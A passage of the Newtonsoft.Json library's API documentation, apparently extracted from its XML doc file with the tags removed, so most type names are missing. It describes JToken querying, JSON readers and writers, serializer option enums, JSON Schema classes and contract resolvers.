evaluating part of the expression. - A . - - - - Selects a using a JSONPath expression. Selects the token that matches the object path. - - - A that contains a JSONPath expression. - - The used to select tokens. - A . - - - - Selects a collection of elements using a JSONPath expression. - - - A that contains a JSONPath expression. - - An of that contains the selected elements. - - - - Selects a collection of elements using a JSONPath expression. - - - A that contains a JSONPath expression. - - A flag to indicate whether an error should be thrown if no tokens are found when evaluating part of the expression. - An of that contains the selected elements. - - - - Selects a collection of elements using a JSONPath expression. - - - A that contains a JSONPath expression. - - The used to select tokens. - An of that contains the selected elements. - - - - Returns the responsible for binding operations performed on this object. - - The expression tree representation of the runtime value. - - The to bind this object. - - - - - Returns the responsible for binding operations performed on this object. - - The expression tree representation of the runtime value. - - The to bind this object. - - - - - Creates a new instance of the . All child tokens are recursively cloned. - - A new instance of the . - - - - Creates a new instance of the . All child tokens are recursively cloned. - - A object to configure cloning settings. - A new instance of the . - - - - Adds an object to the annotation list of this . - - The annotation to add. - - - - Get the first annotation object of the specified type from this . - - The type of the annotation to retrieve. - The first annotation object that matches the specified type, or null if no annotation is of the specified type. - - - - Gets the first annotation object of the specified type from this . - - The of the annotation to retrieve. - The first annotation object that matches the specified type, or null if no annotation is of the specified type. - - - - Gets a collection of annotations of the specified type for this . - - The type of the annotations to retrieve. - An that contains the annotations for this . - - - - Gets a collection of annotations of the specified type for this . - - The of the annotations to retrieve. - An of that contains the annotations that match the specified type for this . - - - - Removes the annotations of the specified type from this . - - The type of annotations to remove. - - - - Removes the annotations of the specified type from this . - - The of annotations to remove. - - - - Compares tokens to determine whether they are equal. - - - - - Determines whether the specified objects are equal. - - The first object of type to compare. - The second object of type to compare. - - true if the specified objects are equal; otherwise, false. - - - - - Returns a hash code for the specified object. - - The for which a hash code is to be returned. - A hash code for the specified object. - The type of is a reference type and is null. - - - - Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data. - - - - - Gets the at the reader's current position. - - - - - Initializes a new instance of the class. - - The token to read from. - - - - Initializes a new instance of the class. - - The token to read from. - The initial path of the token. It is prepended to the returned . - - - - Reads the next JSON token from the underlying . - - - true if the next token was read successfully; false if there are no more tokens to read. - - - - - Gets the path of the current JSON token. - - - - - Specifies the type of token. - - - - - No token type has been set. - - - - - A JSON object. - - - - - A JSON array. - - - - - A JSON constructor. - - - - - A JSON object property. - - - - - A comment. - - - - - An integer value. - - - - - A float value. - - - - - A string value. - - - - - A boolean value. - - - - - A null value. - - - - - An undefined value. - - - - - A date value. - - - - - A raw JSON value. - - - - - A collection of bytes value. - - - - - A Guid value. - - - - - A Uri value. - - - - - A TimeSpan value. - - - - - Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. - - - - - Gets the at the writer's current position. - - - - - Gets the token being written. - - The token being written. - - - - Initializes a new instance of the class writing to the given . - - The container being written to. - - - - Initializes a new instance of the class. - - - - - Flushes whatever is in the buffer to the underlying . - - - - - Closes this writer. - If is set to true, the JSON is auto-completed. - - - Setting to true has no additional effect, since the underlying is a type that cannot be closed. - - - - - Writes the beginning of a JSON object. - - - - - Writes the beginning of a JSON array. - - - - - Writes the start of a constructor with the given name. - - The name of the constructor. - - - - Writes the end. - - The token. - - - - Writes the property name of a name/value pair on a JSON object. - - The name of the property. - - - - Writes a value. - An error will be raised if the value cannot be written as a single JSON token. - - The value to write. - - - - Writes a null value. - - - - - Writes an undefined value. - - - - - Writes raw JSON. - - The raw JSON to write. - - - - Writes a comment /*...*/ containing the specified text. - - Text to place inside the comment. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a [] value. - - The [] value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Represents a value in JSON (string, integer, date, etc). - - - - - Writes this token to a asynchronously. - - A into which this method will write. - The token to monitor for cancellation requests. - A collection of which will be used when writing the token. - A that represents the asynchronous write operation. - - - - Initializes a new instance of the class from another object. - - A object to copy from. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Gets a value indicating whether this token has child tokens. - - - true if this token has child values; otherwise, false. - - - - - Creates a comment with the given value. - - The value. - A comment with the given value. - - - - Creates a string with the given value. - - The value. - A string with the given value. - - - - Creates a null value. - - A null value. - - - - Creates a undefined value. - - A undefined value. - - - - Gets the node type for this . - - The type. - - - - Gets or sets the underlying token value. - - The underlying token value. - - - - Writes this token to a . - - A into which this method will write. - A collection of s which will be used when writing the token. - - - - Indicates whether the current object is equal to another object of the same type. - - - true if the current object is equal to the parameter; otherwise, false. - - An object to compare with this object. - - - - Determines whether the specified is equal to the current . - - The to compare with the current . - - true if the specified is equal to the current ; otherwise, false. - - - - - Serves as a hash function for a particular type. - - - A hash code for the current . - - - - - Returns a that represents this instance. - - - ToString() returns a non-JSON string value for tokens with a type of . - If you want the JSON for all token types then you should use . - - - A that represents this instance. - - - - - Returns a that represents this instance. - - The format. - - A that represents this instance. - - - - - Returns a that represents this instance. - - The format provider. - - A that represents this instance. - - - - - Returns a that represents this instance. - - The format. - The format provider. - - A that represents this instance. - - - - - Returns the responsible for binding operations performed on this object. - - The expression tree representation of the runtime value. - - The to bind this object. - - - - - Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, follows, or occurs in the same position in the sort order as the other object. - - An object to compare with this instance. - - A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has these meanings: - Value - Meaning - Less than zero - This instance is less than . - Zero - This instance is equal to . - Greater than zero - This instance is greater than . - - - is not of the same type as this instance. - - - - - Specifies how line information is handled when loading JSON. - - - - - Ignore line information. - - - - - Load line information. - - - - - Specifies how JSON arrays are merged together. - - - - Concatenate arrays. - - - Union arrays, skipping items that already exist. - - - Replace all array items. - - - Merge array items together, matched by index. - - - - Specifies how null value properties are merged. - - - - - The content's null value properties will be ignored during merging. - - - - - The content's null value properties will be merged. - - - - - Specifies the member serialization options for the . - - - - - All public members are serialized by default. Members can be excluded using or . - This is the default member serialization mode. - - - - - Only members marked with or are serialized. - This member serialization mode can also be set by marking the class with . - - - - - All public and private fields are serialized. Members can be excluded using or . - This member serialization mode can also be set by marking the class with - and setting IgnoreSerializableAttribute on to false. - - - - - Specifies metadata property handling options for the . - - - - - Read metadata properties located at the start of a JSON object. - - - - - Read metadata properties located anywhere in a JSON object. Note that this setting will impact performance. - - - - - Do not try to read metadata properties. - - - - - Specifies missing member handling options for the . - - - - - Ignore a missing member and do not attempt to deserialize it. - - - - - Throw a when a missing member is encountered during deserialization. - - - - - Specifies null value handling options for the . - - - - - - - - - Include null values when serializing and deserializing objects. - - - - - Ignore null values when serializing and deserializing objects. - - - - - Specifies how object creation is handled by the . - - - - - Reuse existing objects, create new objects when needed. - - - - - Only reuse existing objects. - - - - - Always create new objects. - - - - - Specifies reference handling options for the . - Note that references cannot be preserved when a value is set via a non-default constructor such as types that implement . - - - - - - - - Do not preserve references when serializing types. - - - - - Preserve references when serializing into a JSON object structure. - - - - - Preserve references when serializing into a JSON array structure. - - - - - Preserve references when serializing. - - - - - Specifies reference loop handling options for the . - - - - - Throw a when a loop is encountered. - - - - - Ignore loop references and do not serialize. - - - - - Serialize loop references. - - - - - Indicating whether a property is required. - - - - - The property is not required. The default state. - - - - - The property must be defined in JSON but can be a null value. - - - - - The property must be defined in JSON and cannot be a null value. - - - - - The property is not required but it cannot be a null value. - - - - - - Contains the JSON schema extension methods. - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - - Determines whether the is valid. - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - The source to test. - The schema to test with. - - true if the specified is valid; otherwise, false. - - - - - - Determines whether the is valid. - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - The source to test. - The schema to test with. - When this method returns, contains any error messages generated while validating. - - true if the specified is valid; otherwise, false. - - - - - - Validates the specified . - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - The source to test. - The schema to test with. - - - - - Validates the specified . - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - The source to test. - The schema to test with. - The validation event handler. - - - - - An in-memory representation of a JSON Schema. - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - Gets or sets the id. - - - - - Gets or sets the title. - - - - - Gets or sets whether the object is required. - - - - - Gets or sets whether the object is read-only. - - - - - Gets or sets whether the object is visible to users. - - - - - Gets or sets whether the object is transient. - - - - - Gets or sets the description of the object. - - - - - Gets or sets the types of values allowed by the object. - - The type. - - - - Gets or sets the pattern. - - The pattern. - - - - Gets or sets the minimum length. - - The minimum length. - - - - Gets or sets the maximum length. - - The maximum length. - - - - Gets or sets a number that the value should be divisible by. - - A number that the value should be divisible by. - - - - Gets or sets the minimum. - - The minimum. - - - - Gets or sets the maximum. - - The maximum. - - - - Gets or sets a flag indicating whether the value can not equal the number defined by the minimum attribute (). - - A flag indicating whether the value can not equal the number defined by the minimum attribute (). - - - - Gets or sets a flag indicating whether the value can not equal the number defined by the maximum attribute (). - - A flag indicating whether the value can not equal the number defined by the maximum attribute (). - - - - Gets or sets the minimum number of items. - - The minimum number of items. - - - - Gets or sets the maximum number of items. - - The maximum number of items. - - - - Gets or sets the of items. - - The of items. - - - - Gets or sets a value indicating whether items in an array are validated using the instance at their array position from . - - - true if items are validated using their array position; otherwise, false. - - - - - Gets or sets the of additional items. - - The of additional items. - - - - Gets or sets a value indicating whether additional items are allowed. - - - true if additional items are allowed; otherwise, false. - - - - - Gets or sets whether the array items must be unique. - - - - - Gets or sets the of properties. - - The of properties. - - - - Gets or sets the of additional properties. - - The of additional properties. - - - - Gets or sets the pattern properties. - - The pattern properties. - - - - Gets or sets a value indicating whether additional properties are allowed. - - - true if additional properties are allowed; otherwise, false. - - - - - Gets or sets the required property if this property is present. - - The required property if this property is present. - - - - Gets or sets the a collection of valid enum values allowed. - - A collection of valid enum values allowed. - - - - Gets or sets disallowed types. - - The disallowed types. - - - - Gets or sets the default value. - - The default value. - - - - Gets or sets the collection of that this schema extends. - - The collection of that this schema extends. - - - - Gets or sets the format. - - The format. - - - - Initializes a new instance of the class. - - - - - Reads a from the specified . - - The containing the JSON Schema to read. - The object representing the JSON Schema. - - - - Reads a from the specified . - - The containing the JSON Schema to read. - The to use when resolving schema references. - The object representing the JSON Schema. - - - - Load a from a string that contains JSON Schema. - - A that contains JSON Schema. - A populated from the string that contains JSON Schema. - - - - Load a from a string that contains JSON Schema using the specified . - - A that contains JSON Schema. - The resolver. - A populated from the string that contains JSON Schema. - - - - Writes this schema to a . - - A into which this method will write. - - - - Writes this schema to a using the specified . - - A into which this method will write. - The resolver used. - - - - Returns a that represents the current . - - - A that represents the current . - - - - - - Returns detailed information about the schema exception. - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - Gets the line number indicating where the error occurred. - - The line number indicating where the error occurred. - - - - Gets the line position indicating where the error occurred. - - The line position indicating where the error occurred. - - - - Gets the path to the JSON where the error occurred. - - The path to the JSON where the error occurred. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class - with a specified error message. - - The error message that explains the reason for the exception. - - - - Initializes a new instance of the class - with a specified error message and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - Initializes a new instance of the class. - - The that holds the serialized object data about the exception being thrown. - The that contains contextual information about the source or destination. - The parameter is null. - The class name is null or is zero (0). - - - - - Generates a from a specified . - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - Gets or sets how undefined schemas are handled by the serializer. - - - - - Gets or sets the contract resolver. - - The contract resolver. - - - - Generate a from the specified type. - - The type to generate a from. - A generated from the specified type. - - - - Generate a from the specified type. - - The type to generate a from. - The used to resolve schema references. - A generated from the specified type. - - - - Generate a from the specified type. - - The type to generate a from. - Specify whether the generated root will be nullable. - A generated from the specified type. - - - - Generate a from the specified type. - - The type to generate a from. - The used to resolve schema references. - Specify whether the generated root will be nullable. - A generated from the specified type. - - - - - Resolves from an id. - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - Gets or sets the loaded schemas. - - The loaded schemas. - - - - Initializes a new instance of the class. - - - - - Gets a for the specified reference. - - The id. - A for the specified reference. - - - - - The value types allowed by the . - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - No type specified. - - - - - String type. - - - - - Float type. - - - - - Integer type. - - - - - Boolean type. - - - - - Object type. - - - - - Array type. - - - - - Null type. - - - - - Any type. - - - - - - Specifies undefined schema Id handling options for the . - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - Do not infer a schema Id. - - - - - Use the .NET type name as the schema Id. - - - - - Use the assembly qualified .NET type name as the schema Id. - - - - - - Returns detailed information related to the . - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - Gets the associated with the validation error. - - The JsonSchemaException associated with the validation error. - - - - Gets the path of the JSON location where the validation error occurred. - - The path of the JSON location where the validation error occurred. - - - - Gets the text description corresponding to the validation error. - - The text description. - - - - - Represents the callback method that will handle JSON schema validation events and the . - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - A camel case naming strategy. - - - - - Initializes a new instance of the class. - - - A flag indicating whether dictionary keys should be processed. - - - A flag indicating whether explicitly specified property names should be processed, - e.g. a property name customized with a . - - - - - Initializes a new instance of the class. - - - A flag indicating whether dictionary keys should be processed. - - - A flag indicating whether explicitly specified property names should be processed, - e.g. a property name customized with a . - - - A flag indicating whether extension data names should be processed. - - - - - Initializes a new instance of the class. - - - - - Resolves the specified property name. - - The property name to resolve. - The resolved property name. - - - - Resolves member mappings for a type, camel casing property names. - - - - - Initializes a new instance of the class. - - - - - Resolves the contract for a given type. - - The type to resolve a contract for. - The contract for a given type. - - - - Used by to resolve a for a given . - - - - - Gets a value indicating whether members are being get and set using dynamic code generation. - This value is determined by the runtime permissions available. - - - true if using dynamic code generation; otherwise, false. - - - - - Gets or sets the default members search flags. - - The default members search flags. - - - - Gets or sets a value indicating whether compiler generated members should be serialized. - - - true if serialized compiler generated members; otherwise, false. - - - - - Gets or sets a value indicating whether to ignore the interface when serializing and deserializing types. - - - true if the interface will be ignored when serializing and deserializing types; otherwise, false. - - - - - Gets or sets a value indicating whether to ignore the attribute when serializing and deserializing types. - - - true if the attribute will be ignored when serializing and deserializing types; otherwise, false. - - - - - Gets or sets a value indicating whether to ignore IsSpecified members when serializing and deserializing types. - - - true if the IsSpecified members will be ignored when serializing and deserializing types; otherwise, false. - - - - - Gets or sets a value indicating whether to ignore ShouldSerialize members when serializing and deserializing types. - - - true if the ShouldSerialize members will be ignored when serializing and deserializing types; otherwise, false. - - - - - Gets or sets the naming strategy used to resolve how property names and dictionary keys are serialized. - - The naming strategy used to resolve how property names and dictionary keys are serialized. - - - - Initializes a new instance of the class. - - - - - Resolves the contract for a given type. - - The type to resolve a contract for. - The contract for a given type. - - - - Gets the serializable members for the type. - - The type to get serializable members for. - The serializable members for the type. - - - - Creates a for the given type. - - Type of the object. - A for the given type. - - - - Creates the constructor parameters. - - The constructor to create properties for. - The type's member properties. - Properties for the given . - - - - Creates a for the given . - - The matching member property. - The constructor parameter. - A created for the given . - - - - Resolves the default for the contract. - - Type of the object. - The contract's default . - - - - Creates a for the given type. - - Type of the object. - A for the given type. - - - - Creates a for the given type. - - Type of the object. - A for the given type. - - - - Creates a for the given type. - - Type of the object. - A for the given type. - - - - Creates a for the given type. - - Type of the object. - A for the given type. - - - - Creates a for the given type. - - Type of the object. - A for the given type. - - - - Creates a for the given type. - - Type of the object. - A for the given type. - - - - Creates a for the given type. - - Type of the object. - A for the given type. - - - - Determines which contract type is created for the given type. - - Type of the object. - A for the given type. - - - - Creates properties for the given . - - The type to create properties for. - /// The member serialization mode for the type. - Properties for the given . - - - - Creates the used by the serializer to get and set values from a member. - - The member. - The used by the serializer to get and set values from a member. - - - - Creates a for the given . - - The member's parent . - The member to create a for. - A created for the given . - - - - Resolves the name of the property. - - Name of the property. - Resolved name of the property. - - - - Resolves the name of the extension data. By default no changes are made to extension data names. - - Name of the extension data. - Resolved name of the extension data. - - - - Resolves the key of the dictionary. By default is used to resolve dictionary keys. - - Key of the dictionary. - Resolved key of the dictionary. - - - - Gets the resolved name of the property. - - Name of the property. - Name of the property. - - - - The default naming strategy. Property names and dictionary keys are unchanged. - - - - - Resolves the specified property name. - - The property name to resolve. - The resolved property name. - - - - The default serialization binder used when resolving and loading classes from type names. - - - - - Initializes a new instance of the class. - - - - - When overridden in a derived class, controls the binding of a serialized object to a type. - - Specifies the name of the serialized object. - Specifies the name of the serialized object. - - The type of the object the formatter creates a new instance of. - - - - - When overridden in a derived class, controls the binding of a serialized object to a type. - - The type of the object the formatter creates a new instance of. - Specifies the name of the serialized object. - Specifies the name of the serialized object. - - - - Represents a trace writer that writes to the application's instances. - - - - - Gets the that will be used to filter the trace messages passed to the writer. - For example a filter level of will exclude messages and include , - and messages. - - - The that will be used to filter the trace messages passed to the writer. - - - - - Writes the specified trace level, message and optional exception. - - The at which to write this trace. - The trace message. - The trace exception. This parameter is optional. - - - - Get and set values for a using dynamic methods. - - - - - Initializes a new instance of the class. - - The member info. - - - - Sets the value. - - The target to set the value on. - The value to set on the target. - - - - Gets the value. - - The target to get the value from. - The value. - - - - Provides information surrounding an error. - - - - - Gets the error. - - The error. - - - - Gets the original object that caused the error. - - The original object that caused the error. - - - - Gets the member that caused the error. - - The member that caused the error. - - - - Gets the path of the JSON location where the error occurred. - - The path of the JSON location where the error occurred. - - - - Gets or sets a value indicating whether this is handled. - - true if handled; otherwise, false. - - - - Provides data for the Error event. - - - - - Gets the current object the error event is being raised against. - - The current object the error event is being raised against. - - - - Gets the error context. - - The error context. - - - - Initializes a new instance of the class. - - The current object. - The error context. - - - - Get and set values for a using dynamic methods. - - - - - Initializes a new instance of the class. - - The member info. - - - - Sets the value. - - The target to set the value on. - The value to set on the target. - - - - Gets the value. - - The target to get the value from. - The value. - - - - Provides methods to get attributes. - - - - - Returns a collection of all of the attributes, or an empty collection if there are no attributes. - - When true, look up the hierarchy chain for the inherited custom attribute. - A collection of s, or an empty collection. - - - - Returns a collection of attributes, identified by type, or an empty collection if there are no attributes. - - The type of the attributes. - When true, look up the hierarchy chain for the inherited custom attribute. - A collection of s, or an empty collection. - - - - Used by to resolve a for a given . - - - - - - - - - Resolves the contract for a given type. - - The type to resolve a contract for. - The contract for a given type. - - - - Used to resolve references when serializing and deserializing JSON by the . - - - - - Resolves a reference to its object. - - The serialization context. - The reference to resolve. - The object that was resolved from the reference. - - - - Gets the reference for the specified object. - - The serialization context. - The object to get a reference for. - The reference to the object. - - - - Determines whether the specified object is referenced. - - The serialization context. - The object to test for a reference. - - true if the specified object is referenced; otherwise, false. - - - - - Adds a reference to the specified object. - - The serialization context. - The reference. - The object to reference. - - - - Allows users to control class loading and mandate what class to load. - - - - - When implemented, controls the binding of a serialized object to a type. - - Specifies the name of the serialized object. - Specifies the name of the serialized object - The type of the object the formatter creates a new instance of. - - - - When implemented, controls the binding of a serialized object to a type. - - The type of the object the formatter creates a new instance of. - Specifies the name of the serialized object. - Specifies the name of the serialized object. - - - - Represents a trace writer. - - - - - Gets the that will be used to filter the trace messages passed to the writer. - For example a filter level of will exclude messages and include , - and messages. - - The that will be used to filter the trace messages passed to the writer. - - - - Writes the specified trace level, message and optional exception. - - The at which to write this trace. - The trace message. - The trace exception. This parameter is optional. - - - - Provides methods to get and set values. - - - - - Sets the value. - - The target to set the value on. - The value to set on the target. - - - - Gets the value. - - The target to get the value from. - The value. - - - - Contract details for a used by the . - - - - - Gets the of the collection items. - - The of the collection items. - - - - Gets a value indicating whether the collection type is a multidimensional array. - - true if the collection type is a multidimensional array; otherwise, false. - - - - Gets or sets the function used to create the object. When set this function will override . - - The function used to create the object. - - - - Gets a value indicating whether the creator has a parameter with the collection values. - - true if the creator has a parameter with the collection values; otherwise, false. - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Contract details for a used by the . - - - - - Gets or sets the default collection items . - - The converter. - - - - Gets or sets a value indicating whether the collection items preserve object references. - - true if collection items preserve object references; otherwise, false. - - - - Gets or sets the collection item reference loop handling. - - The reference loop handling. - - - - Gets or sets the collection item type name handling. - - The type name handling. - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Handles serialization callback events. - - The object that raised the callback event. - The streaming context. - - - - Handles serialization error callback events. - - The object that raised the callback event. - The streaming context. - The error context. - - - - Sets extension data for an object during deserialization. - - The object to set extension data on. - The extension data key. - The extension data value. - - - - Gets extension data for an object during serialization. - - The object to set extension data on. - - - - Contract details for a used by the . - - - - - Gets the underlying type for the contract. - - The underlying type for the contract. - - - - Gets or sets the type created during deserialization. - - The type created during deserialization. - - - - Gets or sets whether this type contract is serialized as a reference. - - Whether this type contract is serialized as a reference. - - - - Gets or sets the default for this contract. - - The converter. - - - - Gets the internally resolved for the contract's type. - This converter is used as a fallback converter when no other converter is resolved. - Setting will always override this converter. - - - - - Gets or sets all methods called immediately after deserialization of the object. - - The methods called immediately after deserialization of the object. - - - - Gets or sets all methods called during deserialization of the object. - - The methods called during deserialization of the object. - - - - Gets or sets all methods called after serialization of the object graph. - - The methods called after serialization of the object graph. - - - - Gets or sets all methods called before serialization of the object. - - The methods called before serialization of the object. - - - - Gets or sets all method called when an error is thrown during the serialization of the object. - - The methods called when an error is thrown during the serialization of the object. - - - - Gets or sets the default creator method used to create the object. - - The default creator method used to create the object. - - - - Gets or sets a value indicating whether the default creator is non-public. - - true if the default object creator is non-public; otherwise, false. - - - - Contract details for a used by the . - - - - - Gets or sets the dictionary key resolver. - - The dictionary key resolver. - - - - Gets the of the dictionary keys. - - The of the dictionary keys. - - - - Gets the of the dictionary values. - - The of the dictionary values. - - - - Gets or sets the function used to create the object. When set this function will override . - - The function used to create the object. - - - - Gets a value indicating whether the creator has a parameter with the dictionary values. - - true if the creator has a parameter with the dictionary values; otherwise, false. - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Contract details for a used by the . - - - - - Gets the object's properties. - - The object's properties. - - - - Gets or sets the property name resolver. - - The property name resolver. - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Contract details for a used by the . - - - - - Gets or sets the object constructor. - - The object constructor. - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Contract details for a used by the . - - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Contract details for a used by the . - - - - - Gets or sets the object member serialization. - - The member object serialization. - - - - Gets or sets the missing member handling used when deserializing this object. - - The missing member handling. - - - - Gets or sets a value that indicates whether the object's properties are required. - - - A value indicating whether the object's properties are required. - - - - - Gets or sets how the object's properties with null values are handled during serialization and deserialization. - - How the object's properties with null values are handled during serialization and deserialization. - - - - Gets the object's properties. - - The object's properties. - - - - Gets a collection of instances that define the parameters used with . - - - - - Gets or sets the function used to create the object. When set this function will override . - This function is called with a collection of arguments which are defined by the collection. - - The function used to create the object. - - - - Gets or sets the extension data setter. - - - - - Gets or sets the extension data getter. - - - - - Gets or sets the extension data value type. - - - - - Gets or sets the extension data name resolver. - - The extension data name resolver. - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Contract details for a used by the . - - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Maps a JSON property to a .NET member or constructor parameter. - - - - - Gets or sets the name of the property. - - The name of the property. - - - - Gets or sets the type that declared this property. - - The type that declared this property. - - - - Gets or sets the order of serialization of a member. - - The numeric order of serialization. - - - - Gets or sets the name of the underlying member or parameter. - - The name of the underlying member or parameter. - - - - Gets the that will get and set the during serialization. - - The that will get and set the during serialization. - - - - Gets or sets the for this property. - - The for this property. - - - - Gets or sets the type of the property. - - The type of the property. - - - - Gets or sets the for the property. - If set this converter takes precedence over the contract converter for the property type. - - The converter. - - - - Gets or sets the member converter. - - The member converter. - - - - Gets or sets a value indicating whether this is ignored. - - true if ignored; otherwise, false. - - - - Gets or sets a value indicating whether this is readable. - - true if readable; otherwise, false. - - - - Gets or sets a value indicating whether this is writable. - - true if writable; otherwise, false. - - - - Gets or sets a value indicating whether this has a member attribute. - - true if has a member attribute; otherwise, false. - - - - Gets the default value. - - The default value. - - - - Gets or sets a value indicating whether this is required. - - A value indicating whether this is required. - - - - Gets a value indicating whether has a value specified. - - - - - Gets or sets a value indicating whether this property preserves object references. - - - true if this instance is reference; otherwise, false. - - - - - Gets or sets the property null value handling. - - The null value handling. - - - - Gets or sets the property default value handling. - - The default value handling. - - - - Gets or sets the property reference loop handling. - - The reference loop handling. - - - - Gets or sets the property object creation handling. - - The object creation handling. - - - - Gets or sets or sets the type name handling. - - The type name handling. - - - - Gets or sets a predicate used to determine whether the property should be serialized. - - A predicate used to determine whether the property should be serialized. - - - - Gets or sets a predicate used to determine whether the property should be deserialized. - - A predicate used to determine whether the property should be deserialized. - - - - Gets or sets a predicate used to determine whether the property should be serialized. - - A predicate used to determine whether the property should be serialized. - - - - Gets or sets an action used to set whether the property has been deserialized. - - An action used to set whether the property has been deserialized. - - - - Returns a that represents this instance. - - - A that represents this instance. - - - - - Gets or sets the converter used when serializing the property's collection items. - - The collection's items converter. - - - - Gets or sets whether this property's collection items are serialized as a reference. - - Whether this property's collection items are serialized as a reference. - - - - Gets or sets the type name handling used when serializing the property's collection items. - - The collection's items type name handling. - - - - Gets or sets the reference loop handling used when serializing the property's collection items. - - The collection's items reference loop handling. - - - - A collection of objects. - - - - - Initializes a new instance of the class. - - The type. - - - - When implemented in a derived class, extracts the key from the specified element. - - The element from which to extract the key. - The key for the specified element. - - - - Adds a object. - - The property to add to the collection. - - - - Gets the closest matching object. - First attempts to get an exact case match of and then - a case insensitive match. - - Name of the property. - A matching property if found. - - - - Gets a property by property name. - - The name of the property to get. - Type property name string comparison. - A matching property if found. - - - - Contract details for a used by the . - - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Lookup and create an instance of the type described by the argument. - - The type to create. - Optional arguments to pass to an initializing constructor of the JsonConverter. - If null, the default constructor is used. - - - - A kebab case naming strategy. - - - - - Initializes a new instance of the class. - - - A flag indicating whether dictionary keys should be processed. - - - A flag indicating whether explicitly specified property names should be processed, - e.g. a property name customized with a . - - - - - Initializes a new instance of the class. - - - A flag indicating whether dictionary keys should be processed. - - - A flag indicating whether explicitly specified property names should be processed, - e.g. a property name customized with a . - - - A flag indicating whether extension data names should be processed. - - - - - Initializes a new instance of the class. - - - - - Resolves the specified property name. - - The property name to resolve. - The resolved property name. - - - - Represents a trace writer that writes to memory. When the trace message limit is - reached then old trace messages will be removed as new messages are added. - - - - - Gets the that will be used to filter the trace messages passed to the writer. - For example a filter level of will exclude messages and include , - and messages. - - - The that will be used to filter the trace messages passed to the writer. - - - - - Initializes a new instance of the class. - - - - - Writes the specified trace level, message and optional exception. - - The at which to write this trace. - The trace message. - The trace exception. This parameter is optional. - - - - Returns an enumeration of the most recent trace messages. - - An enumeration of the most recent trace messages. - - - - Returns a of the most recent trace messages. - - - A of the most recent trace messages. - - - - - A base class for resolving how property names and dictionary keys are serialized. - - - - - A flag indicating whether dictionary keys should be processed. - Defaults to false. - - - - - A flag indicating whether extension data names should be processed. - Defaults to false. - - - - - A flag indicating whether explicitly specified property names, - e.g. a property name customized with a , should be processed. - Defaults to false. - - - - - Gets the serialized name for a given property name. - - The initial property name. - A flag indicating whether the property has had a name explicitly specified. - The serialized property name. - - - - Gets the serialized name for a given extension data name. - - The initial extension data name. - The serialized extension data name. - - - - Gets the serialized key for a given dictionary key. - - The initial dictionary key. - The serialized dictionary key. - - - - Resolves the specified property name. - - The property name to resolve. - The resolved property name. - - - - Hash code calculation - - - - - - Object equality implementation - - - - - - - Compare to another NamingStrategy - - - - - - - Represents a method that constructs an object. - - The object type to create. - - - - When applied to a method, specifies that the method is called when an error occurs serializing an object. - - - - - Provides methods to get attributes from a , , or . - - - - - Initializes a new instance of the class. - - The instance to get attributes for. This parameter should be a , , or . - - - - Returns a collection of all of the attributes, or an empty collection if there are no attributes. - - When true, look up the hierarchy chain for the inherited custom attribute. - A collection of s, or an empty collection. - - - - Returns a collection of attributes, identified by type, or an empty collection if there are no attributes. - - The type of the attributes. - When true, look up the hierarchy chain for the inherited custom attribute. - A collection of s, or an empty collection. - - - - Get and set values for a using reflection. - - - - - Initializes a new instance of the class. - - The member info. - - - - Sets the value. - - The target to set the value on. - The value to set on the target. - - - - Gets the value. - - The target to 